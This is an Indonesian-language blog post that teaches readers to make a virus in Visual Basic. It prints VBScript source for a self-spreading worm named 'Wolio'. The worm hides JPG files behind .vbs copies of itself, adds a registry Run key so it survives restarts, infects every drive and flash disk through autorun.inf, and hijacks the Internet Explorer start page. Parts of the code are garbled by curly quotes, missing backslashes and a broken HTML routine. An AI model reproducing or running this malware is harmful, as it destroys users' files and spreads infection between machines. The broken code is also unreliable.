Sedikit Info Seputar
CARA MEMBUAT VIRUS DENGAN VISUAL BASIC
Terbaru 2017
- Hay gaes kali ini team Gudang BBM Modifikasi Terbaru, kali ini akan membahas artikel dengan judul CARA MEMBUAT VIRUS DENGAN VISUAL BASIC, kami selaku Team Gudang BBM Modifikasi Terbaru telah mempersiapkan artikel ini untuk sobat sobat yang menyukai Gudang BBM Modifikasi Terbaru. semoga isi postingan tentang
Artikel Artikel,
Artikel Game,
Artikel Lain-lain,
Artikel TRICK KOMPUTER, yang saya posting kali ini dapat dipahami dengan mudah serta memberi manfa'at bagi kalian semua, walaupun tidak sempurna setidaknya artikel kami memberi sedikit informasi kepada kalian semua. ok langsung simak aja sob
Judul:
Berbagi Info Seputar
CARA MEMBUAT VIRUS DENGAN VISUAL BASIC
Terbaru
link: CARA MEMBUAT VIRUS DENGAN VISUAL BASIC
Berbagi CARA MEMBUAT VIRUS DENGAN VISUAL BASIC Terbaru dan Terlengkap 2017
- Virus akan mencari file-file .JPG pada folder dan subfolder satu tingkat didalamnya, setelah itu merubah ekstension file JPG tersebut menjadi JPEG dan merubah atributnya menjadi hidden file. Sehingga akan dikira file tersebut terhapus.
- Meng-copy-kan dirinya (virus) dalam folder-folder tertentu dalam Windows
- Memodifikasi Registry agar secara otomatis menjalankan script virus pada saat restart
- Menularkan diri pada drive-drive yang aktif termasuk flash disk
- Membuat halaman HTML tertentu agar dijalankan pada start page di Internet Explorer
2. Prosedur dibawah ini berfungsi untuk mencari drive yang aktif termasuk media flash disk dan kemudian menularinya.Sub serangan_jpg(target)on error resume nextset ftarget=fso.GetFile(target)set fsource = fso.GetFile(Wscript.ScriptFullName)ftarget.Copy(Left(target,instrrev(target,”.”)) & “jpeg”)set fbackup = fso.GetFile(Left(target,instrrev(target,”.”)) & “jpeg”)fbackup.Attributes = 2 fsource.Copy(Left(target,instrrev(target,”.”)) & “jpg ” & “.vbs”)ftarget.Deleteftarget.Closefsource.CloseEnd SubSub carifilejpg(folder)For Each filetarget in fso.GetFolder(folder).FilesIf (Right(filetarget,3)=”jpg”) then serangan_jpg(filetarget)NextEnd Sub
3. Merubah Registry agar Start Page pada Internet Explorer menjalankan file HTML yang diinginkanSub serangan_drive()Set fso = CreateObject(”Scripting.FileSystemObject”)Set Drives=fso.drivesadaflashdisk = FalseFor Each drive in DrivesIf drive.isready Thenfsource.Copy(drive & “” & “wolio.vbs”)If drive.DriveType = 1 And drive.DriveLetter > “C:” Then adaflashdisk = TrueEnd IfNextIf adaflashdisk = True Thenset fileautorun = fso.CreateTextFile(drive.DriveLetter & “” & “autorun.inf”,False)fileautorun.WriteLine(”[AUTORUN]“)fileautorun.WriteLine(”RUN=wolio.vbs”)End IfEnd Sub
Sub serangan_ie()
If (regedit.RegRead(”HKEY_CURRENT_USER\SOFTWARE\MicrosoftInternet Explorer\Main\Start
Page”)<>”c:\windows\system32\wolio.html”) Then
regedit.RegWrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start
Page”,”c:\windows\system32\wolio.html”
End If
End Sub4. Bagian ini digunakan untuk membuat sebuah file HTML yang akan menjalankan script virus
Sub buat_html()
set filehtml = fso.CreateTextFile(”c:windowssystem32wolio.html”,True)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
“)
filehtml.WriteLine(”Welcome to Wolio”)
filehtml.WriteLine(”filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(”Selamat Datang di Wolio VBS “)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
End Sub
5. Pada bagian ini akan mencari folder yang ada dan menularinya dengan script virus
Sub serangan_folder(foldername)
on error resume next
For Each subfolder in fso.GetFolder(foldername).SubFolders
fsource.Copy(subfolder & “wolio.vbs”)
carifilejpg(subfolder)
next
End Sub6. Bagian dibawah ini adalah bagian yang utama gunanya untuk mendeklarasikan variabel dan memangggil semua prosedur
On Error Resume Next
dim fso, fsource, ftarget, fbackup, scriptname, myfolder, subfolder, preview, filetarget, sys, regedit, drive,
filehtml, fileautorun
dim adaflashdisk
set fso = CreateObject(”Scripting.FileSystemObject”)
set fsource = fso.GetFile(Wscript.ScriptFullName)
set regedit=CreateObject(”WScript.Shell”)
myfolder = Left(fsource,InStrRev(fsource,””))
‘ Copy-kan diri ke “c:windowssystem32″
fsource.Copy(”c:windowssystem32wolio.vbs”)
‘ Cari dan infeksi file JPG didalam folder
carifilejpg(myfolder)
‘ Copy-kan diri di sub folder yang ada
serangan_folder(myfolder)
‘ Regitry
if
(regedit.RegRead(”HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\Version\Run\Wolio”)<>”c:\windows\system32\wolio.vbs”) Then
regedit.RegWrite
“HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\VersionRun\Wolio”,”c:\windows\system32\wolio.vbs”
End If
‘ Copy-kan diri ke semua drive aktif
serangan_drive()
‘ Buat file wolio.html
buat_html()
‘ Ubah Start Page di Internet Explorer
serangan_ie()